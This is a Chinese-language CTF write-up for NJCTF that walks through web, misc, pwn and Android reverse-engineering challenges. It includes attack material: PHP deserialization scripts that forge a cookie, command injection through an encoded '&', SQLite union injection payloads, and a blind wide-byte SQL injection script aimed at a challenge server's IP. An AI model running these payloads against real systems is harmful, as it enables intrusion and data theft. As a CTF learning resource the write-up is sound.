NJCTF writeup

WEB

Login

打開是一個註冊與登陸界面,隨便註冊一個賬號然後抓包,發現必須是admin賬號纔會給flag
這樣利用長度截取
這裏寫圖片描述

用空格空出,超出註冊用戶名長度,然後後面跟一個1避免被函數消掉,這樣我們就成功強行修改admin的密碼爲自己的密碼
這裏寫圖片描述

登陸即得flag

Get Flag

首先按照他所說的輸入,會出現圖片,並且格式是base64
這裏寫圖片描述

然後隨便輸入
這裏寫圖片描述

解密後發現執行的是cat命令
這裏寫圖片描述

這樣只要構造命令,先查看目錄,然後cat就行
發現&是可以繞過,直接%26編碼然後一直執行ls命令查找
這裏寫圖片描述

發現目標

9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag

cat即可
這裏寫圖片描述

Text wall

首先查找備份文件找到源碼

<?php
$lists = [];
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
........
?>

通過抓包,將cookie解碼一下,根據長度可知發現前面是sha1加密,後面是反序列化
這裏寫圖片描述

這是屬於PHP Object Injection範圍,利用反序列化得到並僞造cookie,構造相同的類型

<?php
    Class filelist{
        public function __toString()
        {
            return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
        }
    }

    $a = new filelist();
    $a->source = 'index.php';
    $b= new filelist();
    $b->source=$a;
    $d=serialize($b);
    $e=sha1($d).$d;
    echo urlencode($e)."<br>";
?>

也可以用下面這種寫法

<?php
    Class filelist{
        public function __toString()
        {
            return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
        }
    }

    $a = [];
    $b= new filelist();
    $b->source = 'index.php';
    $a[]=$b;
    $d=serialize($a);
    $e=sha1($d).$d;
    echo urlencode($e)."<br>";
?>

得到index.php的內容

233333333333333333333333333333333333333333333333333333333333333333 <?php
//The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g
$lists = [];
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_COOKIE['lists'])){
    $cookie = $_COOKIE['lists'];
    $hash = substr($cookie, 0, 40);
    $sha1 = substr($cookie, 40);
    if(sha1($sha1) === $hash){
        $lists = unserialize($sha1);
    }
}
if(isset($_POST['hiehiehie'])){
    $info = $_POST['hiehiehie'];
    $lists[] = $info;
    $sha1 = serialize($lists);
    $hash = sha1($sha1);
    setcookie('lists', $hash.$sha1);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
  <title>Please Get Flag!!</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css">  
  <script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
  <script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
    <div class="jumbotron">
        <h1>Please Get Flag!!</h1>
    </div>
    <div class="row">
        <?php foreach($lists as $info):?>
            <div class="col-sm-4">
              <h3><?=$info?></h3>
            </div>
        <?php endforeach;?>
    </div>
    <form method="post" href=".">
        <input name="hiehiehie" value="hiehiehie">
        <input type="submit" value="submit">
    </form>
</div>
</body>
</html>

flag文件已知,同樣的構造方法即得flag

NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng}

看別人的wp發現一道類似的題
https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/

Wallet

由於提示是由源碼的,所以瘋狂找源碼,因爲是壓縮包形式,用www.zip找到源碼,密碼是弱口令,猜測是njctf2017得到源碼

<?php
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
    $auth = $_COOKIE["auth"];
    $hsh = $_COOKIE["hsh"];
    if ($auth == $hsh) {
        $auth = 0;
    } else if (sha1((string)$hsh) == md5((string)$auth)) {
        $auth = 1;
    } else {
        $auth = 0;
    }
} else {
    $auth = 0;
    $s = $auth;
    setcookie("auth", $s);
    setcookie("hsh", sha1((string)$s));
}
if ($auth) {
    if (isset($_GET['query'])) {
        $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
        $qstr = SQLITE3::escapeString($_GET['query']);
        $query = "SELECT amount FROM my_wallets WHERE id=$qstr";
        $result = $db->querySingle($query);
        if (!$result === NULL) {
            echo "Error - invalid query";
        } else {
            echo "Wallet contains: $result";
        }
    } else {
        echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
    }
} else echo "Sorry, not authorized.";

是一個關於sha1((string)$hsh) == md5((string)$auth)的弱類型比較,直接爆破得到0e開頭的即可
得到字符串
這裏寫圖片描述

然後就是一個簡單的數字型的sqlite注入
這裏寫圖片描述

得到表名
這裏寫圖片描述

得到列名
這裏寫圖片描述

得到flag
這裏寫圖片描述

注:補充sqlite的注入方法

1 union select group_concat(tbl_name) from sqlite_master-- 暴表
1 union select sql from sqlite_master where tbl_name="XX" and type="table" -- 爆字段
1 union select group_concat(XXX) from XX--暴內容

Come On

這是一道注入題,隨便輸可知道過濾了or,and,union,<>
並且註釋#需轉碼成%23
根據別人的提示是寬字節注入,測試一下

http://218.2.197.235:23733/index.php?key=1%df%27||1=1%23 http://218.2.197.235:23733/index.php?key=1%df%27||1=2%23

猜出表名字段名

1%df’ || exists(select(flag)from(flag))%23

上腳本

import requests
flag = ''
for i in range(1,33):
    for j in range(32,127):
        url = "http://218.2.197.235:23733/index.php?key=1%df' ||  if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23".format(str(i),str(bin(j)))
        s=requests.get(url=url)
        content=s.content
        length=len(content)
        #print length
        if length > 1000 :
            string+=chr(j)
            break
    print flag

這裏寫圖片描述

MISC

check QQ

直接在QQ羣中找

knock

打開後發現了兩串密文,第二個打開有點類似於莫爾斯密碼,但沒有間隔所以只能放棄,將第一個文本中的密文

zjqzhexjzmooqrssaidaiynlebnzjovosltahzjerhorrqxoeironlobdozavoouzjovosqfqsltahmqnqrrjotoerzjohorrqxoebooqydrztyqqojolx

嘗試維吉尼亞後無果,然後放進quipquip網站直接解密,發現結果

that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message in e e alcs tr laaeh e f g

正好與第二個密文間隔一致,然後可以發現後面是亂的,根據提示,將後面的柵欄一下得到結果
這裏寫圖片描述

加上NJCTF{}提交成功

easy_crypto

這題坑了我半天,解密代碼很快都寫出來了,就是因爲key找錯了,看了一下給的文件,發現
plain.txtcipher.txt字節數一樣,這兩個就是用來求key值的,然後用求出的key直接對flag.txt解密

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
    FILE* fp  = fopen("C:/Users/lanlan/Desktop/m2/plain.txt", "rb");
    FILE* fc  = fopen("C:/Users/lanlan/Desktop/m2/cipher.txt", "rb");
    FILE* ff  = fopen("C:/Users/lanlan/Desktop/m2/flag.txt", "rb");

    FILE* output_file = fopen("C:/Users/lanlan/Desktop/m2/F.txt", "wb");
    char a,b,f;
    char key[100];
    int i = 0,t = 0;

    while(((a = fgetc(fp)) != EOF))
    {
        b = fgetc(fc);
        key[i] = ((b - i*i - a + t) ^ t) & 0xff;
        t = a;
        i++;
    }
    char p, c = 0;
    i = 0;
    t = 0;
    while ((p = fgetc(ff)) != EOF)
    {
        c = ( p - i*i - (key[i % strlen(key)] ^ t) + t)&0xff;
        t = c;
        i++;
        fputc(c, output_file);
    }
    return 0;
}

flag:NJCTF{N0w_You90t_Th1sC4s3}

PWN

vsvs

nc過去,發現需要輸入一個正確的數字,爆破吧,發現是22
這裏寫圖片描述

成功進入
發現不管輸什麼都是回顯,嘗試進行長度的爆破
這裏寫圖片描述

發現當我輸入1500個1時有返回說文件名過長,且返回了有416長度,得知長度在1024個有漏洞
這裏寫圖片描述

沒有回顯啦,嘗試執行命令
這裏寫圖片描述

得到flag文件夾,直接獲取發現有問題,無法運行
這裏寫圖片描述

那嘗試一下linux重定向
這裏寫圖片描述

Mobile by teammate

easycrack

  1. 首先安裝apk,簡單嘗試,但是,安裝時發現Android6.0版本的手機都因爲SDK版本不夠而無法安裝,下載了Android7.0的模擬器:
    apk界面:
    這裏寫圖片描述

在進行輸入時,上方會動態顯示狀態:
這裏寫圖片描述

同時可以查看DDMS,有日誌輸出:
這裏寫圖片描述

嘗試到此
2. AndroidKiller以及JEB反編譯:
這裏寫圖片描述

這裏寫圖片描述

主活動只有一個,Java代碼量不大
但是解壓縮後發現有so庫
先分析Java代碼:

public class MainActivity extends AppCompatActivity {
    class CheckText implements TextWatcher {
        CheckText(MainActivity this$0) {
            MainActivity.this = this$0;
            super();
        }

        public void afterTextChanged(Editable s) {
            MainActivity.this.findViewById(2131427416).setText("Status: " + MainActivity.this.parseText(
                    s.toString()));
        }

        public void beforeTextChanged(CharSequence s, int start, int count, int after) {
        }

        public void onTextChanged(CharSequence s, int start, int before, int count) {
        }
    }

    static {
        System.loadLibrary("native-lib");
    }

    public MainActivity() {
        super();
    }

    public String messageMe() {
        String v3 = "";
        int v4 = 51;
        String[] v1 = this.getApplicationContext().getPackageName().split("\\.");
        char[] v6 = v1[v1.length - 1].toCharArray();
        int v7 = v6.length;
        int v5;
        for(v5 = 0; v5 < v7; ++v5) {
            v4 ^= v6[v5];
            v3 += ((char)v4);
        }

        return v3;
    }

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(2130968603);
        this.findViewById(2131427416).setText(this.stringFromJNI());
        this.findViewById(2131427415).addTextChangedListener(new CheckText(this));
    }

    public native String parseText(String arg1) {
    }

    public native String stringFromJNI() {
    }
}

主要函數:
這裏寫圖片描述

這裏是一個TextWatch,監聽文本框的變化並進行狀態顯示,可以看到關鍵函數是:

public void afterTextChanged(Editable s) {
            MainActivity.this.findViewById(2131427416).setText("Status: " + MainActivity.this.parseText(s.toString()));
        }

對文本框的判斷函數:

public native String parseText(String arg1) {

}

是Native,必須分析so文件

這裏還要注意,初始化了一個字符串:
這裏寫圖片描述

開始還以爲這就是輸入
將程序改爲Java代碼直接得到結果:
這裏寫圖片描述

這裏寫圖片描述

字符串:V7D=^,M.E

後面發現會用到

  1. 分析so文件:
    把so放入IDA反編譯的時候,發現不同平臺so文件反編譯出的函數差別比較大,用
    這裏寫圖片描述

反編譯出的函數中,有分析字符串的函數parseText,另外幾個so函數中沒有找到,但肯定也有
這裏寫圖片描述

這裏寫圖片描述

分析發現主要有以下關鍵點:
首先獲取兩個字符串:

  • str1
    這裏寫圖片描述

得到的即是前面算到的messageMe字符串:V7D=^,M.E

  • str2
    這裏寫圖片描述

這個是輸入的字符串

  1. 對輸入字符串及V7D=^,M.E進行循環異或(即異或到第9位再返回V7D=^,M.E,繼續異或),但是暫時不知道輸入字符串的長度
    這裏寫圖片描述

  2. 從後往前看,想要輸出success,要與compare比較通過
    這裏寫圖片描述

compare:
這裏寫圖片描述

向前找v27:
這裏寫圖片描述

這裏是將字符的十六進制形式轉換爲字符串,對比compare,可以知道加密後的最終字符串的十六進制格式:
0xC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0x5E,0x97,0x0E,0xEA,0xD9,0xE2,0x77,0xF3,0x14,0x86,0x9F,0x7E,0xF5,0x19,0x8A,0x2A,0xA4

  1. 繼續向前分析,發現兩個關鍵函數:
    這裏寫圖片描述

分別是初始化與加密
還要注意前面的I_am_the_key,爲初始化時傳入的字符串

7.init函數
這裏寫圖片描述

這個函數首先生成了一個長度爲的字符串數組, 首先循環存儲了I_am_the_key(這裏開始不知道v6是怎麼變化的,兩種可能:一直爲定值,由0~11循環,嘗試以後發現是第二種情況)
生成後進行了位置交換,沒有仔細研究規則。
編寫函數得到初始化的結果:

#include<stdio.h>
int main()
{
    int v3 = 256;
    int v4 = 0;
    int v5 = 0;
    int v6 = 0;//開始不知道v6如何變化 
    unsigned __int8 v11[14] = "I_am_the_key";
    unsigned __int8 v13[256];
    char *v7;
    unsigned __int8 *v8;
    int v9;
    char v14[256];
    do
    {
        v13[v5] = v5;
        v7 = v14;
        v14[v5++] = v11[v6];
        v6++;
        v6=v6%12;
    }
    while ( v5 != 256 );
    v8 = v13;
    do
    {
        v9 = *v8;
        v4 = (v9 + v4 + (unsigned __int8)*v7) % 256;
        *v8 = v13[v4];
        v13[v4] = v9;
        --v3;
        ++v7;
        ++v8;
    }
    while ( v3 );
    for(int i=0;i<256;i++)
    {
        printf("0x%x,",v13[i]);
    }
    return 0;
}

這裏寫圖片描述

  1. crypt函數
    這裏寫圖片描述

這個函數不是很複雜,得到的結果是最後的加密字符串,利用compare解密得到中間字符串:

#include<stdio.h>
int main()
{
    int a3 = 30;
    int v3 = 0;
    int v4 = 0;
    int v5;
    int i = 0;
    unsigned __int8 a2[32] = {0xC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0x5E,0x97,0x0E,0xEA,0xD9,0xE2,0x77,0xF3,0x14,0x86,0x9F,0x7E,0xF5,0x19,0x8A,0x2A,0xA4};
    unsigned __int8 result[256] = {0x39,0xa9,0x72,0x2d,0xe8,0x58,0x26,0x32,0x81,0xd,0xac,0x49,0xbb,0x10,0x46,0x65,0xb3,0x92,0xf,0x84,0xb8,0xbf,0xf2,0x52,0xe3,0x5b,0xfc,0xd5,0x59,0x6a,0xf0,0x5d,0x60,0x69,0x16,0x8e,0xfb,0x94,0x48,0xbc,0x71,0x36,0x57,0xad,0x44,0x7c,0x95,0xda,0xb7,0x47,0xdb,0x35,0x3c,0xd2,0x23,0xc5,0xa8,0xb,0x9f,0x31,0xd8,0x1f,0x3f,0xb0,0x2e,0xe1,0x5a,0x4a,0xf9,0x1,0x54,0xa7,0xa5,0xee,0x8,0x99,0x63,0x9b,0x50,0xbd,0x5,0xf7,0xcb,0xab,0x22,0xc2,0x8a,0x38,0x7d,0x6,0xb1,0xc0,0x4e,0x74,0x3a,0xe5,0x67,0x2b,0xa3,0x73,0x89,0x9e,0xba,0x88,0x3d,0x28,0x62,0x8f,0xfd,0x43,0x98,0x4d,0x56,0xb2,0xc,0x29,0x6e,0x78,0x25,0xe0,0xe9,0xf6,0x9c,0x13,0xed,0xf8,0xc4,0x20,0x87,0x2,0x7b,0xf1,0x6d,0xc7,0x8c,0x9d,0x86,0x3b,0x66,0xfa,0xb6,0x42,0x6f,0x14,0xd0,0x19,0xaf,0x11,0x21,0x96,0x85,0x91,0xb5,0xa0,0x1b,0x18,0xa6,0xa2,0x4b,0x40,0xd4,0x8d,0x2a,0x8b,0x5c,0x2c,0xe6,0xfe,0xa4,0x30,0xe7,0xff,0xc8,0x5f,0xe2,0x1c,0xdf,0xae,0x7f,0xc3,0x61,0xef,0x90,0x6c,0x51,0x2f,0xec,0x12,0x7a,0xaa,0xdd,0x77,0xf5,0x4,0xd9,0x83,0x33,0xeb,0x80,0x27,0x3,0xb4,0x9,0x37,0x6b,0x41,0x4f,0x7e,0xf3,0x24,0xf4,0xc9,0x7,0xd1,0x45,0x70,0xa1,0xd7,0x34,0x93,0x15,0xca,0x4c,0xcd,0x97,0xb9,0xea,0x0,0x5e,0x1a,0x9a,0xcf,0x79,0xa,0x3e,0x82,0xd3,0x68,0x75,0x64,0xce,0x55,0xe,0xbe,0x1d,0xe4,0xc1,0xc6,0xde,0xcc,0x1e,0x17,0xd6,0xdc,0x53,0x76};
    do
    {
      v3 = (v3 + 1) % 256;
      v5 = *(unsigned __int8 *)(result + v3);
      v4 = (v5 + v4) % 256;
      *(unsigned __int8 *)(result + v3) = *(unsigned __int8 *)(result + v4);
      *(unsigned __int8 *)(result + v4) = v5;
      a2[i] ^= *(unsigned __int8 *)(result + ((*(unsigned __int8 *)(result + v3) + v5) & 0xFF));
      --a3;
      ++i;
    }
    while ( a3 );
    for(i=0;i<30;i++)
    {
        printf("0x%x,",a2[i]);
    }


    return 0;
}

結果:
這裏寫圖片描述
此即是開始循環異或後的字符串

  1. 去除循環異或
#include<stdio.h>
int main()
{
    int v10 = 30;
    int v11 = 9;
    int v12;
    int v27 = 0;
    int v13;

    unsigned __int8 v25[30];
    unsigned __int8 v24[32] = {0x1f,0x43,0x1b,0x4e,0x1,0x4d,0x12,0x4b,0x24,0x25,0x4e,0x7,0x4f,0x3f,0x4f,0x26,0x71,0x23,0x39,0x45,0x1b,0x5f,0x3b,0x4b,0x24,0x40,0x2b,0x33,0x45,0x37};
    char s[11]= "V7D=^,M.E";
    if ( v10 )
    {
      do
      {
        if ( v11 )
        {
          v12 = 0;
          do
          {
            *(&v25[v27] + v12) = s[v12] ^ *(&v24[v27] + v12);
            v13 = v27 + v12++ + 1;
          }
          while ( v12 < v11 && v13 < v10 );
        }
        v27 += v11;
      }
      while ( v27 < v10 );

    }
    for(int i=0;i<30;i++)
    {
        printf("%c",v25[i]);
    }          
    return 0;
}

結果:
這裏寫圖片描述

flag:It_s_a_easyCrack_for_beginners

safeBox

tips:Don't believe what you saw.
The flag's format is NJCTF{xxx} and xxx only include [a-z][A-Z][0-9].

解壓apk發現沒有so文件
直接放入JEB:
1. 代碼並不複雜,開始直接看了MainActivity:
這裏寫圖片描述
發現是一個8位迴文數,並且限制比較具體,得到48533584,得到結果:
NJCTF{05#f4n}明顯不符合題目要求,雖然在手機上安裝測試成功了,但是,提交提示錯誤。
2. 這才注意到另一個類androidTest
非常像,但細節不同:
這裏寫圖片描述

這個不限制中間兩位必須相等,而且後面有+10,此時得到4853958448533584,按新規則得到結果NJCTF{have05if4n}(此時用的是48539584),提交正確。
這纔想到題目的提示, 不要相信看到的
flag:NJCTF{have05if4n}

LittleRotatorGame

tips:keep the screen green and rotate, you will get the flag.
The flag's format is njctf{xxx} and xxx only include [a-z][A-Z][0-9].

這是一個完全由C語言編寫的APP,或者叫Native Android

據說要去除控制流平坦化導致的混淆,據說爆破flg函數可以得到答案:
這裏寫圖片描述

這裏寫圖片描述

是不是可以用符號化執行工具angr,還不會這個題。

flag:PvrNa7iv3Al1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章